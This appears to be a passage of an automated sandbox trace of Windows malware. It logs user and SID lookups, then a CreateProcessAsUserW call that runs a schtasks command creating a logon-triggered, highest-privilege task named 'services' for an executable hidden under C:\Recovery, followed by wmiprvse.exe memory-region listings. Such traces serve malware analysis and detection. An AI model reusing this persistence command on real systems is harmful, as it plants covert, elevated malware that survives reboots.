(_Block=0x2af220) [0149.117] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0149.117] _ultow (in: _Dest=0x3e8, _Radix=14469376 | out: _Dest=0x3e8) returned="1000" [0149.117] malloc (_Size=0x18) returned 0x2af220 [0149.117] malloc (_Size=0x18) returned 0x2af200 [0149.118] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0149.118] SysStringLen (param_1="-") returned 0x1 [0149.118] memcpy (in: _Dst=0xf6c88, _Src=0xf6e08, _Size=0x54 | out: _Dst=0xf6c88) returned 0xf6c88 [0149.118] memcpy (in: _Dst=0xf6cda, _Src=0x142368, _Size=0x4 | out: _Dst=0xf6cda) returned 0xf6cda [0149.118] free (_Block=0x2af240) [0149.118] free (_Block=0x2af220) [0149.118] malloc (_Size=0x18) returned 0x2af220 [0149.118] malloc (_Size=0x18) returned 0x2af240 [0149.118] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0149.118] SysStringLen (param_1="1000") returned 0x4 [0149.118] memcpy (in: _Dst=0xf6e08, _Src=0xf6c88, _Size=0x56 | out: _Dst=0xf6e08) returned 0xf6e08 [0149.118] memcpy (in: _Dst=0xf6e5c, _Src=0x142368, _Size=0xa | out: _Dst=0xf6e5c) returned 0xf6e5c [0149.118] free (_Block=0x2af200) [0149.118] free (_Block=0x2af220) [0149.118] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0149.118] malloc (_Size=0x5e) returned 0x2b0ad0 [0149.118] free (_Block=0x2af240) [0149.118] malloc (_Size=0x18) returned 0x2af240 [0149.119] free (_Block=0x2b0ad0) [0149.119] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xdcc9c4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0 | out: Name=0x0, cchName=0xdcc9c4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0) returned 0 [0149.120] GetLastError () returned 0x7a [0149.120] malloc (_Size=0x14) returned 0x2af220 [0149.120] malloc (_Size=0x16) returned 0x2af200 [0149.120] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af220, cchName=0xdcc9c4, ReferencedDomainName=0x2af200, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0 | out: Name="kEecfMwgj", cchName=0xdcc9c4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0) returned 1 [0149.120] malloc (_Size=0x18) returned 0x2af260 [0149.121] malloc (_Size=0x18) returned 0x2af280 [0149.121] free (_Block=0x2af220) [0149.121] free (_Block=0x2af200) [0149.121] free (_Block=0x2b8650) [0149.121] free (_Block=0x2af280) [0149.121] free (_Block=0x2af260) [0149.121] free (_Block=0x2af240) [0149.122] free (_Block=0x2b8b10) [0149.122] GetVersionExW (in: lpVersionInformation=0xdcccb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a720, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xdcccb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0149.122] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xdccb38 | out: TokenInformation=0x0, ReturnLength=0xdccb38) returned 0 [0149.122] GetLastError () returned 0x7a [0149.122] malloc (_Size=0x2c) returned 0x2b8b50 [0149.122] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xdccb38 | out: TokenInformation=0x2b8b50, ReturnLength=0xdccb38) returned 1 [0149.122] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.122] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0149.122] malloc (_Size=0x1c) returned 0x2b8650 [0149.122] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.122] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0149.122] malloc (_Size=0x18) returned 0x2af240 [0149.122] _ultow (in: _Dest=0x5, _Radix=14469392 | out: _Dest=0x5) returned="5" [0149.122] malloc (_Size=0x18) returned 0x2af260 [0149.123] malloc (_Size=0x18) returned 0x2af280 [0149.123] SysStringLen (param_1="S-1-") returned 0x4 [0149.123] SysStringLen (param_1="5") returned 0x1 [0149.123] memcpy (in: _Dst=0x161768, _Src=0x161708, _Size=0xa | out: _Dst=0x161768) returned 0x161768 [0149.123] memcpy (in: _Dst=0x161770, _Src=0x142368, _Size=0x4 | out: _Dst=0x161770) returned 0x161770 [0149.123] free (_Block=0x2af240) [0149.123] free (_Block=0x2af260) [0149.123] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0149.123] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0149.123] _ultow (in: _Dest=0x15, _Radix=14469392 | out: _Dest=0x15) returned="21" [0149.123] malloc (_Size=0x18) returned 0x2af260 [0149.123] malloc (_Size=0x18) returned 0x2af240 [0149.123] SysStringLen (param_1="S-1-5") returned 0x5 [0149.123] SysStringLen (param_1="-") returned 0x1 [0149.123] memcpy (in: _Dst=0x142368, _Src=0x161768, _Size=0xc | out: _Dst=0x142368) returned 0x142368 [0149.123] memcpy (in: _Dst=0x142372, _Src=0x161708, _Size=0x4 | out: _Dst=0x142372) returned 0x142372 [0149.123] free (_Block=0x2af280) [0149.123] free (_Block=0x2af260) [0149.123] malloc (_Size=0x18) returned 0x2af260 [0149.124] malloc (_Size=0x18) returned 0x2af280 [0149.124] SysStringLen (param_1="S-1-5-") returned 0x6 [0149.124] SysStringLen (param_1="21") returned 0x2 [0149.124] memcpy (in: _Dst=0x161708, _Src=0x142368, _Size=0xe | out: _Dst=0x161708) returned 0x161708 [0149.124] memcpy (in: _Dst=0x161714, _Src=0x161768, _Size=0x6 | out: _Dst=0x161714) returned 0x161714 [0149.124] free (_Block=0x2af240) [0149.124] free (_Block=0x2af260) [0149.124] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0149.124] _ultow (in: _Dest=0xfb7f942f, _Radix=14469392 | out: _Dest=0xfb7f942f) returned="4219442223" [0149.124] malloc (_Size=0x18) returned 0x2af260 [0149.124] malloc (_Size=0x18) returned 0x2af240 [0149.124] SysStringLen (param_1="S-1-5-21") returned 0x8 [0149.124] SysStringLen (param_1="-") returned 0x1 [0149.124] memcpy (in: _Dst=0x161768, _Src=0x161708, _Size=0x12 | out: _Dst=0x161768) returned 0x161768 [0149.124] memcpy (in: _Dst=0x161778, _Src=0x142368, _Size=0x4 | out: _Dst=0x161778) returned 0x161778 [0149.124] free (_Block=0x2af280) [0149.124] free (_Block=0x2af260) [0149.124] malloc (_Size=0x18) returned 0x2af260 [0149.125] malloc (_Size=0x18) returned 0x2af280 [0149.125] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0149.125] SysStringLen (param_1="4219442223") returned 0xa [0149.125] memcpy (in: _Dst=0x1181c8, _Src=0x161768, _Size=0x14 | out: _Dst=0x1181c8) returned 0x1181c8 [0149.125] memcpy (in: _Dst=0x1181da, _Src=0x161708, _Size=0x16 | out: _Dst=0x1181da) returned 0x1181da [0149.125] free (_Block=0x2af240) [0149.125] free (_Block=0x2af260) [0149.125] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0149.125] _ultow (in: _Dest=0xfbc24a41, _Radix=14469392 | out: _Dest=0xfbc24a41) returned="4223814209" [0149.125] malloc (_Size=0x18) returned 0x2af260 [0149.125] malloc (_Size=0x18) returned 0x2af240 [0149.125] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0149.125] SysStringLen (param_1="-") returned 0x1 [0149.125] memcpy (in: _Dst=0x117ae8, _Src=0x1181c8, _Size=0x28 | out: _Dst=0x117ae8) returned 0x117ae8 [0149.125] memcpy (in: _Dst=0x117b0e, _Src=0x161768, _Size=0x4 | out: _Dst=0x117b0e) returned 0x117b0e [0149.125] free (_Block=0x2af280) [0149.125] free (_Block=0x2af260) [0149.125] malloc (_Size=0x18) returned 0x2af260 [0149.126] malloc (_Size=0x18) returned 0x2af280 [0149.126] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0149.126] SysStringLen (param_1="4223814209") returned 0xa [0149.126] memcpy (in: _Dst=0xf6c88, _Src=0x117ae8, _Size=0x2a | out: _Dst=0xf6c88) returned 0xf6c88 [0149.126] memcpy (in: _Dst=0xf6cb0, _Src=0x161768, _Size=0x16 | out: _Dst=0xf6cb0) returned 0xf6cb0 [0149.126] free (_Block=0x2af240) [0149.126] free (_Block=0x2af260) [0149.126] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0149.126] _ultow (in: _Dest=0xe49636b4, _Radix=14469392 | out: _Dest=0xe49636b4) returned="3835049652" [0149.126] malloc (_Size=0x18) returned 0x2af260 [0149.126] malloc (_Size=0x18) returned 0x2af240 [0149.126] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0149.126] SysStringLen (param_1="-") returned 0x1 [0149.126] memcpy (in: _Dst=0xf6e08, _Src=0xf6c88, _Size=0x3e | out: _Dst=0xf6e08) returned 0xf6e08 [0149.126] memcpy (in: _Dst=0xf6e44, _Src=0x161768, _Size=0x4 | out: _Dst=0xf6e44) returned 0xf6e44 [0149.126] free (_Block=0x2af280) [0149.126] free (_Block=0x2af260) [0149.126] malloc (_Size=0x18) returned 0x2af260 [0149.126] malloc (_Size=0x18) returned 0x2af280 [0149.127] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0149.127] SysStringLen (param_1="3835049652") returned 0xa [0149.127] memcpy (in: _Dst=0xf6c88, _Src=0xf6e08, _Size=0x40 | out: _Dst=0xf6c88) returned 0xf6c88 [0149.127] memcpy (in: _Dst=0xf6cc6, _Src=0x161768, _Size=0x16 | out: _Dst=0xf6cc6) returned 0xf6cc6 [0149.127] free (_Block=0x2af240) [0149.127] free (_Block=0x2af260) [0149.127] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0149.127] _ultow (in: _Dest=0x3e8, _Radix=14469392 | out: _Dest=0x3e8) returned="1000" [0149.127] malloc (_Size=0x18) returned 0x2af260 [0149.127] malloc (_Size=0x18) returned 0x2af240 [0149.127] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0149.127] SysStringLen (param_1="-") returned 0x1 [0149.127] memcpy (in: _Dst=0xf6e08, _Src=0xf6c88, _Size=0x54 | out: _Dst=0xf6e08) returned 0xf6e08 [0149.127] memcpy (in: _Dst=0xf6e5a, _Src=0x161768, _Size=0x4 | out: _Dst=0xf6e5a) returned 0xf6e5a [0149.127] free (_Block=0x2af280) [0149.127] free (_Block=0x2af260) [0149.127] malloc (_Size=0x18) returned 0x2af260 [0149.127] malloc (_Size=0x18) returned 0x2af280 [0149.127] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0149.128] SysStringLen (param_1="1000") returned 0x4 [0149.128] memcpy (in: _Dst=0xf6c88, _Src=0xf6e08, _Size=0x56 | out: _Dst=0xf6c88) returned 0xf6c88 [0149.128] memcpy (in: _Dst=0xf6cdc, _Src=0x161768, _Size=0xa | out: _Dst=0xf6cdc) returned 0xf6cdc [0149.128] free (_Block=0x2af240) [0149.128] free (_Block=0x2af260) [0149.128] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0149.128] malloc (_Size=0x5e) returned 0x2b0ad0 [0149.128] free (_Block=0x2af280) [0149.128] malloc (_Size=0x18) returned 0x2af280 [0149.155] free (_Block=0x2b0ad0) [0149.155] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xdcc9d4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8 | out: Name=0x0, cchName=0xdcc9d4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8) returned 0 [0149.156] GetLastError () returned 0x7a [0149.156] malloc (_Size=0x14) returned 0x2af180 [0149.156] malloc (_Size=0x16) returned 0x2af1a0 [0149.156] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xdcc9d4, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8 | out: Name="kEecfMwgj", cchName=0xdcc9d4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8) returned 1 [0149.157] malloc (_Size=0x18) returned 0x2af260 [0149.157] malloc (_Size=0x18) returned 0x2af240 [0149.157] free (_Block=0x2af180) [0149.157] free (_Block=0x2af1a0) [0149.157] free (_Block=0x2b8650) [0149.157] free (_Block=0x2af240) [0149.157] free (_Block=0x2af260) [0149.157] free (_Block=0x2af280) [0149.158] free (_Block=0x2b8b50) [0149.158] malloc (_Size=0x48) returned 0x2ad680 [0149.158] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0149.164] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0149.164] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0149.164] malloc (_Size=0x18) returned 0x2af280 [0149.164] CreateEnvironmentBlock () returned 0x1 [0149.170] memcpy (in: _Dst=0xdccc40, _Src=0xdcda10, _Size=0x68 | out: _Dst=0xdccc40) returned 0xdccc40 [0149.170] malloc (_Size=0x18) returned 0x2af260 [0149.170] CreateProcessAsUserW (in: hToken=0x1ec, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x1188b80, lpCurrentDirectory=0x0, lpStartupInfo=0xdccc40*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xdccae0 | out: lpCommandLine="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessInformation=0xdccae0*(hProcess=0x2fc, hThread=0x2f8, dwProcessId=0xc58, dwThreadId=0xc50)) returned 1 [0149.176] CloseHandle (hObject=0x2fc) returned 1 [0149.176] CloseHandle (hObject=0x2f8) returned 1 [0149.176] free (_Block=0x2af260) [0149.176] DestroyEnvironmentBlock () returned 0x1 [0149.177] malloc (_Size=0x48) returned 0x2ad6d0 [0149.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdcc958 | out: lpSystemTimeAsFileTime=0xdcc958*(dwLowDateTime=0x26246e80, dwHighDateTime=0x1d8a92a)) [0149.177] SetEvent (hEvent=0x1f0) returned 1 [0149.177] CloseHandle (hObject=0x2ac) returned 1 [0149.177] CloseHandle (hObject=0x1ec) returned 1 [0149.230] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0149.231] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xdce1f0 | out: pulNumLanguages=0xdce1f0) returned 1 [0149.231] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 Thread: id = 88 os_tid = 0x8dc Thread: id = 89 os_tid = 0xb70 Thread: id = 90 os_tid = 0xb8c Thread: id = 321 os_tid = 0xf1c Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5f9d5000" os_pid = "0x1d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d967" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1645 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1646 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1647 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1648 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1649 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1650 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1651 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1652 start_va = 0x150000 end_va = 0x154fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1653 start_va = 0x160000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1654 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1655 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1656 start_va = 0x370000 end_va = 0x4f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 1657 start_va = 0x500000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1658 start_va = 0x690000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1659 start_va = 0x750000 end_va = 0xa1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1660 start_va = 0xa20000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 1661 start_va = 0xa30000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 1662 start_va = 0xa40000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 1663 start_va = 0xac0000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 1664 start_va = 0xb50000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 1665 start_va = 0xc10000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 1666 start_va = 0xc90000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 1667 start_va = 0xd50000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1668 start_va = 0xe80000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 1669 start_va = 0xff0000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1670 start_va = 0x10f0000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 1671 start_va = 0x1170000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 1672 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 1673 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1674 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1675 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1676 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1677 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1678 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1679 start_va = 0x13fc80000 end_va = 0x13fcebfff monitored = 0 entry_point = 0x13fcbb450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1680 start_va = 0x7fef6040000 end_va = 0x7fef60c5fff monitored = 1 entry_point = 0x7fef604ffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1681 start_va = 0x7fef69e0000 end_va = 0x7fef6a1bfff monitored = 1 entry_point = 0x7fef6a05aa8 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 1682 start_va = 0x7fef8d20000 end_va = 0x7fef8d31fff monitored = 0 entry_point = 0x7fef8d289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1683 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1684 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 